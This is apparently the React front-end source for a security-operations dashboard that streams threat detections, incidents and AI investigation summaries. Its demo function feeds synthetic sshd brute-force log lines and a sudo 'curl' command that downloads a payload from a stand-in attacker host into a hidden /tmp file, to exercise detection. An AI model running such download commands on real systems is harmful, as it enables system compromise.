"use client"; import { motion, AnimatePresence } from "framer-motion"; import { useCallback, useEffect, useMemo, useRef, useState } from "react"; import { Activity, Cpu, Globe2, Radar, RotateCw, Shield, Sparkles, Terminal } from "lucide-react"; import { Badge } from "@/components/ui/badge"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { ScrollArea } from "@/components/ui/scroll-area"; import { Separator } from "@/components/ui/separator"; import { Progress } from "@/components/ui/progress"; import { Button } from "@/components/ui/button"; import { cn } from "@/lib/utils"; type FeedItem = { type?: string; severity?: string; message?: string; source_ip?: string; event_type?: string; ts?: string; technique?: string; confidence?: number; description?: string; title?: string; summary?: string; executive?: string; technical?: string; agent?: string; status?: string; detail?: string; replay?: boolean; replay_index?: number; replay_total?: number; phase?: string; investigation_notes?: string; recommended_actions?: string[]; }; type Metrics = { threats_detected: number; active_incidents: number; blocked_attacks: number; events_per_minute: number; top_countries: { country: string; count: number }[]; risk_trend: { t: number; risk: number }[]; remediation_success_rate: number; attack_frequency: { minute: number; count: number }[]; }; const defaultMetrics: Metrics = { threats_detected: 0, active_incidents: 0, blocked_attacks: 0, events_per_minute: 0, top_countries: [], risk_trend: [], remediation_success_rate: 0.94, attack_frequency: [], }; /** Single canonical host so SSR and the browser match (avoids localhost vs 127.0.0.1 hydration errors). */ function normalizeApiOrigin(raw: string): string { try { const u = new URL(raw); if (u.hostname === "localhost") { u.hostname = "127.0.0.1"; } return u.origin; } catch { return raw; } } function apiBase(): string { const raw = process.env.NEXT_PUBLIC_API_URL; if (raw === undefined || raw === "") { if (typeof window !== "undefined") { return window.location.origin; } return ""; } return normalizeApiOrigin(raw); } function wsUrl(): string { const raw = process.env.NEXT_PUBLIC_API_URL; if (raw === undefined || raw === "") { if (typeof window !== "undefined") { const proto = window.location.protocol === "https:" ? "wss:" : "ws:"; return `${proto}//${window.location.host}/live-events`; } return "ws://127.0.0.1:8000/live-events"; } const base = normalizeApiOrigin(raw); return base.replace(/^http/, "ws") + "/live-events"; } type RocmPanel = { brand?: string; tagline?: string; gpu_utilization_simulated_pct?: number; inference_latency_ms_simulated?: number; concurrent_agent_tasks?: number; model_serving?: string; open_models?: string; throughput_note?: string; }; function formatAiReport(msg: FeedItem): string { const actions = Array.isArray(msg.recommended_actions) ? msg.recommended_actions : []; const parts = [ msg.executive ?? "", msg.technical ? `\n\n— Attack progression —\n${msg.technical}` : "", msg.investigation_notes ? `\n\n— Severity rationale —\n${msg.investigation_notes}` : "", ]; let out = parts.join("").trim(); if (actions.length) { out += `\n\n— Recommended actions —\n${actions.map((a) => `• ${a}`).join("\n")}`; } return out; } function severityColor(s?: string) { switch ((s ?? "").toLowerCase()) { case "critical": return "text-red-400 border-red-500/40 bg-red-500/10"; case "high": return "text-orange-300 border-orange-500/40 bg-orange-500/10"; case "medium": return "text-amber-200 border-amber-500/35 bg-amber-500/10"; case "low": return "text-sky-300 border-sky-500/35 bg-sky-500/10"; default: return "text-muted-foreground border-border bg-muted/30"; } } export default function Home() { const [metrics, setMetrics] = useState(defaultMetrics); const [feed, setFeed] = useState([]); const [agents, setAgents] = useState([]); const [aiPanel, setAiPanel] = useState( "Awaiting high-fidelity incident graph. Autonomous agents are parsing collectors, enriching threat intel, and scoring blast radius.", ); const [timeline, setTimeline] = useState([]); const [replayActive, setReplayActive] = useState(false); const [reasoningTrace, setReasoningTrace] = useState([]); const [rocm, setRocm] = useState(null); const wsRef = useRef(null); const aiThinking = useMemo( () => agents.some((a) => (a.detail ?? "").toLowerCase().includes("llm") || (a.agent ?? "") === "ai_analyst"), [agents], ); const refreshMetrics = useCallback(async () => { try { const r = await fetch(`${apiBase()}/dashboard-metrics`); if (!r.ok) return; const data = await r.json(); setMetrics({ ...defaultMetrics, ...data }); } catch { /* offline */ } }, []); const refreshAgents = useCallback(async () => { try { const r = await fetch(`${apiBase()}/agent-activity`); if (!r.ok) return; const data = await r.json(); setAgents(data.items ?? []); } catch { /* offline */ } }, []); useEffect(() => { refreshMetrics(); const id = setInterval(refreshMetrics, 5000); return () => clearInterval(id); }, [refreshMetrics]); useEffect(() => { refreshAgents(); const id = setInterval(refreshAgents, 4000); return () => clearInterval(id); }, [refreshAgents]); useEffect(() => { const loadRocm = async () => { try { const r = await fetch(`${apiBase()}/rocm-panel`); if (!r.ok) return; setRocm(await r.json()); } catch { /* offline */ } }; loadRocm(); const id = setInterval(loadRocm, 4000); return () => clearInterval(id); }, []); useEffect(() => { const url = wsUrl(); const ws = new WebSocket(url); wsRef.current = ws; ws.onmessage = (ev) => { try { const msg = JSON.parse(ev.data as string) as Record; if (msg.type === "replay") { const phase = msg.phase as string | undefined; if (phase === "begin") { setReplayActive(true); setAiPanel("Replaying buffered attack chain for the jury…"); } if (phase === "frame" && msg.data && typeof msg.data === "object") { const inner = msg.data as FeedItem; setFeed((prev) => [ { ...inner, replay: true, replay_index: msg.index as number | undefined, replay_total: msg.total as number | undefined, }, ...prev, ].slice(0, 200), ); if (inner.type === "detection" && inner.description) { setReasoningTrace((t) => [inner.description!, ...t].slice(0, 12)); } if (inner.type === "incident") { setTimeline((prev) => [inner, ...prev].slice(0, 40)); setAiPanel(inner.summary ?? String(inner.title ?? "Replayed incident")); } if (inner.type === "ai_report") { setAiPanel(formatAiReport(inner)); } } if (phase === "end") { setReplayActive(false); setReasoningTrace((t) => ["[Replay complete]", ...t].slice(0, 12)); } if (phase === "empty") { setAiPanel(String(msg.message ?? "Replay buffer empty — run a simulation first.")); } return; } const row = msg as FeedItem; setFeed((prev) => [row, ...prev].slice(0, 200)); if (row.type === "detection" && row.description) { setReasoningTrace((t) => [row.description!, ...t].slice(0, 12)); } if (row.type === "incident") { setTimeline((prev) => [row, ...prev].slice(0, 40)); setAiPanel( row.summary ?? "Incident correlation engine fused multi-stage telemetry into a single attack narrative.", ); } if (row.type === "ai_report") { setAiPanel(formatAiReport(row)); } } catch { /* ignore */ } }; ws.onerror = () => { setFeed((p) => [ { type: "system", severity: "medium", message: `WebSocket degraded — API at ${apiBase()}` }, ...p, ]); }; return () => ws.close(); }, []); const severityCounts = useMemo(() => { const c = { critical: 0, high: 0, medium: 0, low: 0 }; for (const row of feed) { const s = (row.severity ?? "").toLowerCase(); if (s in c) (c as Record)[s] += 1; } return c; }, [feed]); const maxCountry = Math.max(1, ...metrics.top_countries.map((x) => x.count)); const startReplay = async () => { try { await fetch(`${apiBase()}/replay/start`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ delay_ms: 420 }), }); } catch { /* offline */ } }; const runDemoBurst = async () => { const lines = [ 'Jan 10 12:00:01 edge-01 sshd[9001]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:03 edge-01 sshd[9002]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:05 edge-01 sshd[9003]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:07 edge-01 sshd[9004]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:09 edge-01 sshd[9005]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:15 edge-01 sshd[9006]: Accepted publickey for ubuntu from 45.33.32.156 port 22 ssh2', 'Jan 10 12:00:40 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://evil.example/p -o /tmp/.kworker', ]; for (const raw_line of lines) { await fetch(`${apiBase()}/ingest-logs`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ source: "demo", raw_line, metadata: { host: "edge-01" } }), }); await new Promise((r) => setTimeout(r, 120)); } }; return (

Autonomous SOC

SentinelAI

Multi-agent collectors, LangGraph orchestration, PostgreSQL evidence store, Redis fan-out, and{" "} AMD ROCm-ready open models for on-prem inference at SOC scale.

ROCm inference path Llama 3 · Qwen · Mistral · DeepSeek {"MITRE ATT&CK mapping"}
Live Threat Feed
{feed.length === 0 && ( Listening on {wsUrl()} — start the API or trigger the demo script. )} {feed.map((row, i) => (
{row.replay && ( replay {row.replay_index != null ? `${row.replay_index + 1}/${row.replay_total}` : ""} )} {row.type ?? "event"} {row.event_type ?? row.technique}

{row.message ?? row.description ?? row.summary ?? JSON.stringify(row)}

{row.source_ip}
))}
Threat Severity
{( [ ["Critical", severityCounts.critical], ["High", severityCounts.high], ["Medium", severityCounts.medium], ["Low", severityCounts.low], ] as const ).map(([label, val]) => ( 0 && "severity-pulse-critical border-red-500/30 shadow-[0_0_16px_rgba(239,68,68,0.15)]", label === "High" && val > 0 && "border-orange-500/25 shadow-[0_0_12px_rgba(249,115,22,0.12)]", )} > {label} {val} ))}
Risk posture {metrics.remediation_success_rate * 100}% remediation success
World Threat Map
{metrics.top_countries.length === 0 ? (

Geo enrichment fills as public IPs arrive (AbuseIPDB / OTX / VT optional).

) : ( metrics.top_countries.map((c) => (

{c.country}

{c.count} events

)) )}
Incident Analytics

Attack frequency (rolling)

{(metrics.attack_frequency.length ? metrics.attack_frequency : [{ minute: 0, count: 1 }]).map( (b, idx) => { const h = Math.max(8, (b.count / 10) * 80); return (
); }, )}
Agent Activity
{agents.slice(0, 40).map((a, i) => (
{a.agent} {a.status}

{a.detail}

))}
AI Investigation
{aiThinking && ( Model inferencing… )}

Reasoning trace

    {reasoningTrace.length === 0 &&
  • Awaiting detection hypotheses…
  • } {reasoningTrace.map((line, i) => ( {line} ))}

{aiPanel}

Attack Timeline
{timeline.length === 0 && (

Correlated incidents render here with fused edges.

)} {timeline.map((inc, idx) => (

{inc.title}

{inc.summary}

))}
stream://sentinel/terminal tail -f /var/log/auth.log · docker · k8s · cloudtrail
{feed.slice(0, 12).map((row, i) => (
[{row.ts ?? "live"}]{" "} {row.type} {row.message ?? row.description}
))}

Powered by AMD ROCm

{rocm?.tagline ?? "Accelerated open-source inference for parallel SOC agents"}

{rocm?.open_models ?? "Llama 3 · Qwen 2.5 · Mistral"}

GPU utilization (sim)

{rocm?.gpu_utilization_simulated_pct ?? "—"}%

Inference latency (sim)

{rocm?.inference_latency_ms_simulated != null ? `${rocm.inference_latency_ms_simulated} ms` : "—"}

Concurrent agent tasks

{rocm?.concurrent_agent_tasks ?? "—"}

Model serving

{rocm?.model_serving ?? "llama3"}

{rocm?.throughput_note}

Local inference · parallel agents · Redis fan-out · PostgreSQL evidence · optional Chroma vector memory
); } function MetricTile({ label, value, hint }: { label: string; value: number; hint: string }) { return (

{label}

{value}

{hint}

); }